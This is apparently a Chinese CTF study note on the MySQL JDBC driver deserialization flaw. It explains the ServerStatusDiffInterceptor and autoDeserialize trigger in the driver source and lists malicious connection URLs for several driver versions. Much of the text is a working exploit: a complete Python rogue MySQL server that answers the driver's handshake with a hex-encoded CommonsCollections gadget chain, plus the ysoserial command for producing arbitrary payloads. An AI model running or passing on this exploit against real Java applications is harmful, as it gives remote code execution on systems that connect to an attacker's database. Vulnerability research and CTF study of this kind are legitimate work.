jdbc反序列化分析 - Java反序列化 - CTF知识点

https://www.mi1k7ea.com/2021/04/23/MySQL-JDBC 反序列化漏洞 /
https://xz.aliyun.com/t/8159

# jdbc 简介

JDBC（Java DataBase Connectivity，java 数据库连接）是一种用于执行 Sql 语句的 Java Api，可以为多种关系数据库提供统一访问，它由一组用 Java 语言编写的类和接口组成。是 Java 访问数据库的标准规范。简单理解为链接数据库、对数据库操作都需要通过 jdbc 来实现。

jdbc 对数据库的操作一般有以下步骤

导入包：要求您包含包含数据库编程所需的 JDBC 类的软件包。通常，使用 import java.sql.* 就足够了。
注册 JDBC 驱动程序：要求您初始化驱动程序，以便您可以打开与数据库的通信通道。
建立连接：需要使用 * DriverManager.getConnection ()* 方法来创建一个 Connection 对象，该对象表示与数据库服务器的物理连接。要创建新的数据库，在准备数据库 URL 时，无需提供任何数据库名称，如下面的示例所述。
执行查询：需要使用 Statement 类型的对象来构建 SQL 语句并将其提交到数据库。
清理：需要显式关闭所有数据库资源，而不是依赖 JVM 的垃圾回收。

例如创建一个数据库

	// 步骤 1. 导入所需的软件包
	import java.sql.*;

	public class JDBCExample {
	// JDBC 驱动程序名称和数据库 URL
	static final String JDBC_DRIVER = "com.mysql.jdbc.Driver";
	static final String DB_URL = "jdbc:mysql://localhost/";

	// 数据库凭证
	static final String USER = "username";
	static final String PASS = "password";

	public static void main(String[] args) {
	Connection conn = null;
	Statement stmt = null;
	try{
	// 步骤 2：注册 JDBC 驱动程序
	Class.forName("com.mysql.jdbc.Driver");

	// 步骤 3：建立连接
	System.out.println("Connecting to database...");
	conn = DriverManager.getConnection(DB_URL, USER, PASS);

	// 步骤 4：执行查询
	System.out.println("Creating database...");
	stmt = conn.createStatement();

	String sql = "CREATE DATABASE STUDENTS";
	stmt.executeUpdate(sql);
	System.out.println("Database created successfully...");
	}catch(SQLException se){
	// 处理 JDBC 错误
	se.printStackTrace();
	}catch(Exception e){
	// 处理 Class.forName 的错误
	e.printStackTrace();
	}finally{
	// 用于关闭资源
	try{
	if(stmt!=null)
	stmt.close();
	}catch(SQLException se2){

	}
	try{
	if(conn!=null)
	conn.close();
	}catch(SQLException se){
	se.printStackTrace();
	}
	}// 结束 try
	System.out.println("Goodbye!");
	}// 结束 main
	}// 结束 JDBCExample

# 漏洞原理简述

简单来说就是 mysql 对服务器的请求过程利用

正常的命令执行得到结果后就结束了，但是如果响应的结果是一个恶意的 poc 并且在后续过程中进行了反序列化，那么就可以用来执行任意命令了

# 漏洞复现

maven 项目添加 mysql-connector-java-8.0.13 与 commons-collections-3.2.1 依赖

test.java

	import java.sql.*;


	public class Test {
	public static void main(String[] args) throws Exception {
	Class.forName("com.mysql.jdbc.Driver");
	String jdbc_url = "jdbc:mysql://x.x.x.x:3306/test?" +
	"autoDeserialize=true" +
	"&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor";
	Connection con = DriverManager.getConnection(jdbc_url, "root", "root");
	}
	}

evil.py

	# coding=utf-8
	import socket
	import binascii
	import os

	greeting_data="4a0000000a352e372e31390008000000463b452623342c2d00fff7080200ff811500000000000000000000032851553e5c23502c51366a006d7973716c5f6e61746976655f70617373776f726400"
	response_ok_data="0700000200000002000000"

	def receive_data(conn):
	data = conn.recv(1024)
	print("[*] Receiveing the package : {}".format(data))
	return str(data).lower()

	def send_data(conn,data):
	print("[*] Sending the package : {}".format(data))
	conn.send(binascii.a2b_hex(data))

	def get_payload_content():
	#file 文件的内容使用 ysoserial 生成的使用规则：java -jar ysoserial [Gadget] [command] > payload
	file= r'payload'
	if os.path.isfile(file):
	with open(file, 'rb') as f:
	payload_content = str(binascii.b2a_hex(f.read()),encoding='utf-8')
	print("open successs")

	else:
	print("open false")
	#calc
	payload_content='aced0005737200116a6176612e7574696c2e48617368536574ba44859596b8b7340300007870770c000000023f40000000000001737200346f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6b657976616c75652e546965644d6170456e7472798aadd29b39c11fdb0200024c00036b65797400124c6a6176612f6c616e672f4f626a6563743b4c00036d617074000f4c6a6176612f7574696c2f4d61703b7870740003666f6f7372002a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6d61702e4c617a794d61706ee594829e7910940300014c0007666163746f727974002c4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436861696e65645472616e73666f726d657230c797ec287a97040200015b000d695472616e73666f726d65727374002d5b4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707572002d5b4c6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e5472616e73666f726d65723bbd562af1d83418990200007870000000057372003b6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436f6e7374616e745472616e73666f726d6572587690114102b1940200014c000969436f6e7374616e7471007e00037870767200116a6176612e6c616e672e52756e74696d65000000000000000000000078707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e496e766f6b65725472616e73666f726d657287e8ff6b7b7cce380200035b000569417267737400135b4c6a6176612f6c616e672f4f626a6563743b4c000b694d6574686f644e616d657400124c6a6176612f6c616e672f537472696e673b5b000b69506172616d54797065737400125b4c6a6176612f6c616e672f436c6173733b7870757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000274000a67657452756e74696d65757200125b4c6a6176612e6c616e672e436c6173733bab16d7aecbcd5a990200007870000000007400096765744d6574686f647571007e001b00000002767200106a6176612e6c616e672e537472696e67a0f0a4387a3bb34202000078707671007e001b7371007e00137571007e001800000002707571007e001800000000740006696e766f6b657571007e001b00000002767200106a6176612e6c616e672e4f626a656374000000000000000000000078707671007e00187371007e0013757200135b4c6a6176612e6c616e672e537472696e673badd256e7e91d7b4702000078700000000174000463616c63740004657865637571007e001b0000000171007e00207371007e000f737200116a6176612e6c616e672e496e746567657212e2a0a4f781873802000149000576616c7565787200106a6176612e6c616e672e4e756d62657286ac951d0b94e08b020000787000000001737200116a6176612e7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c6478703f4000000000000077080000001000000000787878'
	return payload_content

	# 主要逻辑
	def run():

	while 1:
	conn, addr = sk.accept()
	print("Connection come from {}:{}".format(addr[0],addr[1]))

	# 1. 先发送第一个问候报文
	send_data(conn,greeting_data)

	while True:
	# 登录认证过程模拟 1. 客户端发送 request login 报文 2. 服务端响应 response_ok
	receive_data(conn)
	send_data(conn,response_ok_data)

	#其他过程
	data=receive_data(conn)
	#查询一些配置信息，其中会发送自己的版本号
	if "session.auto_increment_increment" in data:
	_payload='01000001132e00000203646566000000186175746f5f696e6372656d656e745f696e6372656d656e74000c3f001500000008a0000000002a00000303646566000000146368617261637465725f7365745f636c69656e74000c21000c000000fd00001f00002e00000403646566000000186368617261637465725f7365745f636f6e6e656374696f6e000c21000c000000fd00001f00002b00000503646566000000156368617261637465725f7365745f726573756c7473000c21000c000000fd00001f00002a00000603646566000000146368617261637465725f7365745f736572766572000c210012000000fd00001f0000260000070364656600000010636f6c6c6174696f6e5f736572766572000c210033000000fd00001f000022000008036465660000000c696e69745f636f6e6e656374000c210000000000fd00001f0000290000090364656600000013696e7465726163746976655f74696d656f7574000c3f001500000008a0000000001d00000a03646566000000076c6963656e7365000c210009000000fd00001f00002c00000b03646566000000166c6f7765725f636173655f7461626c655f6e616d6573000c3f001500000008a0000000002800000c03646566000000126d61785f616c6c6f7765645f7061636b6574000c3f001500000008a0000000002700000d03646566000000116e65745f77726974655f74696d656f7574000c3f001500000008a0000000002600000e036465660000001071756572795f63616368655f73697a65000c3f001500000008a0000000002600000f036465660000001071756572795f63616368655f74797065000c210009000000fd00001f00001e000010036465660000000873716c5f6d6f6465000c21009b010000fd00001f000026000011036465660000001073797374656d5f74696d655f7a6f6e65000c21001b000000fd00001f00001f000012036465660000000974696d655f7a6f6e65000c210012000000fd00001f00002b00001303646566000000157472616e73616374696f6e5f69736f6c6174696f6e000c21002d000000fd00001f000022000014036465660000000c776169745f74696d656f7574000c3f001500000008a000000000020100150131047574663804757466380475746638066c6174696e31116c6174696e315f737765646973685f6369000532383830300347504c013107343139343330340236300731303438353736034f4646894f4e4c595f46554c4c5f47524f55505f42592c5354524943545f5452414e535f5441424c45532c4e4f5f5a45524f5f494e5f444154452c4e4f5f5a45524f5f444154452c4552524f525f464f525f4449564953494f4e5f42595f5a45524f2c4e4f5f4155544f5f4352454154455f555345522c4e4f5f454e47494e455f535542535449545554494f4e0cd6d0b9fab1ead7bccab1bce4062b30383a30300f52455045415441424c452d5245414405323838303007000016fe000002000000'
	send_data(conn,_payload)
	data=receive_data(conn)
	elif "show warnings" in data:
	_payload = '01000001031b00000203646566000000054c6576656c000c210015000000fd01001f00001a0000030364656600000004436f6465000c3f000400000003a1000000001d00000403646566000000074d657373616765000c210000060000fd01001f000059000005075761726e696e6704313238374b27404071756572795f63616368655f73697a6527206973206465707265636174656420616e642077696c6c2062652072656d6f76656420696e2061206675747572652072656c656173652e59000006075761726e696e6704313238374b27404071756572795f63616368655f7479706527206973206465707265636174656420616e642077696c6c2062652072656d6f76656420696e2061206675747572652072656c656173652e07000007fe000002000000'
	send_data(conn, _payload)
	data = receive_data(conn)
	if "set names" in data:
	send_data(conn, response_ok_data)
	data = receive_data(conn)
	if "set character_set_results" in data:
	send_data(conn, response_ok_data)
	data = receive_data(conn)
	if "show session status" in data:
	mysql_data = '0100000102'
	mysql_data += '1a000002036465660001630163016301630c3f00ffff0000fc9000000000'
	mysql_data += '1a000003036465660001630163016301630c3f00ffff0000fc9000000000'
	# 为什么我加了 EOF Packet 就无法正常运行呢？？
	# 获取 payload
	payload_content=get_payload_content()
	# 计算 payload 长度
	payload_length = str(hex(len(payload_content)//2)).replace('0x', '').zfill(4)
	payload_length_hex = payload_length[2:4] + payload_length[0:2]
	# 计算数据包长度
	data_len = str(hex(len(payload_content)//2 + 4)).replace('0x', '').zfill(6)
	data_len_hex = data_len[4:6] + data_len[2:4] + data_len[0:2]
	mysql_data += data_len_hex + '04' + 'fbfc'+ payload_length_hex
	mysql_data += str(payload_content)
	mysql_data += '07000005fe000022000100'
	send_data(conn, mysql_data)
	data = receive_data(conn)
	if "show warnings" in data:
	payload = '01000001031b00000203646566000000054c6576656c000c210015000000fd01001f00001a0000030364656600000004436f6465000c3f000400000003a1000000001d00000403646566000000074d657373616765000c210000060000fd01001f00006d000005044e6f74650431313035625175657279202753484f572053455353494f4e20535441545553272072657772697474656e20746f202773656c6563742069642c6f626a2066726f6d2063657368692e6f626a73272062792061207175657279207265777269746520706c7567696e07000006fe000002000000'
	send_data(conn, payload)
	break


	if __name__ == '__main__':
	HOST ='0.0.0.0'
	PORT = 3306

	sk = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	#当 socket 关闭后，本地端用于该 socket 的端口号立刻就可以被重用。为了实验的时候不用等待很长时间
	sk.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
	sk.bind((HOST, PORT))
	sk.listen(1)

	print("start fake mysql server listening on {}:{}".format(HOST,PORT))

	run()

	java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections7 calc > payload
	python3 evil_mysql.py

# 漏洞分析

先看反序列化的流程

# ResultSetImpl.getObject

漏洞点在 com.mysql.cj.jdbc.result.ResultSetImpl.getObject ()

这里将从 mysql 服务端响应的数据进行反序列化，看一下进入反序列化需要的条件

首先需要 field.getMysqlType () 为 BLOB

	if (!field.isBinary() && !field.isBlob()) {
	return this.getBytes(columnIndex);
	}

这里判断是否为 Binary 或 Blob 格式数据

if (!(Boolean)this.connection.getPropertySet().getBooleanProperty(PropertyKey.autoDeserialize).getValue())

这一句判断 autoDeserialize 属性值是否为 true，是的话才能进入反序列化操作的代码逻辑

这就是设置 JDBC 连接时需要带上 autoDeserialize=true 的原因

	Object obj = data;
	if (data != null && data.length >= 2) {
	if (data[0] != -84 \|\| data[1] != -19) {
	return this.getString(columnIndex);
	}

需要 - 84 和 - 19 为序列化对象的前两个字节，就是 java 反序列化对象的标志

总结一下主要就是需要 autoDeserialize=true 让其进入反序列化

然后看看哪里调用了这个

# populateMapWithSessionStatusValues

作者找到了 com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor.populateMapWithSessionStatusValues () 方法

这里在执行了一条 sql 语句，然后将结果放在 map 里面，但就是这个地方调用了 getObject () 方法

然后看哪里调用了这个，这就需要了解一些 ServerStatusDiffInterceptor。

ServerStatusDiffInterceptor 是一个拦截器，在 JDBC URL 中设定属性 queryInterceptors 为 ServerStatusDiffInterceptor 时，执行查询语句会调用拦截器的 preProcess 和 postProcess 方法

往前追溯一下

这个 sql 语句是在开始的时候自动执行的，那么如果我们添加

queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&autoDeserialize=true

那么在执行这一句的时候就可以调用到 ServerStatusDiffInterceptor 了

反序列化构造完了，接着就是构造报文

# show session status 响应包的编写

因为反序列化用的数据是 SHOW SESSION STATUS 得到的响应，所以这里要模仿 mysql 服务器响应该命令

具体可以看 Tri0mphe 师傅的分析，一些报文信息可以看看这

https://blog.csdn.net/kunyus/article/details/124837445
https://xz.aliyun.com/t/9250

# 小结

首先，在请求中的 queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor 让程序连接执行 SET autocommit 时进入 ServerStatusDiffInterceptor
恶意的 mysql 服务器响应发送 poc
然后请求中 autoDeserialize=true 让其顺利反序列化

# 发现

一开始就看到 case 为 BIT 的时候可以反序列化，但是分析说是 BLOB 类型

后面我试了试将类型换成 BIT，把这两行的 fc 改成 10

发现可以也执行

# 常见版本 paylaod

# ServerStatusDiffInterceptor 触发点

# 8.x

如上述 Demo：

jdbc:mysql://x.x.x.x:3306/test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor

# 6.x

属性名不同，queryInterceptors 换为 statementInterceptors：

jdbc:mysql://x.x.x.x:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor

# >=5.1.11

包名中没有 cj：

jdbc:mysql://x.x.x.x:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor

# 5.x <= 5.1.10

同上，但需要连接后执行查询。

# detectCustomCollations 触发点

# 5.1.29 - 5.1.40

jdbc:mysql://x.x.x.x:3306/test?detectCustomCollations=true&autoDeserialize=true

# 5.1.28 - 5.1.19

jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true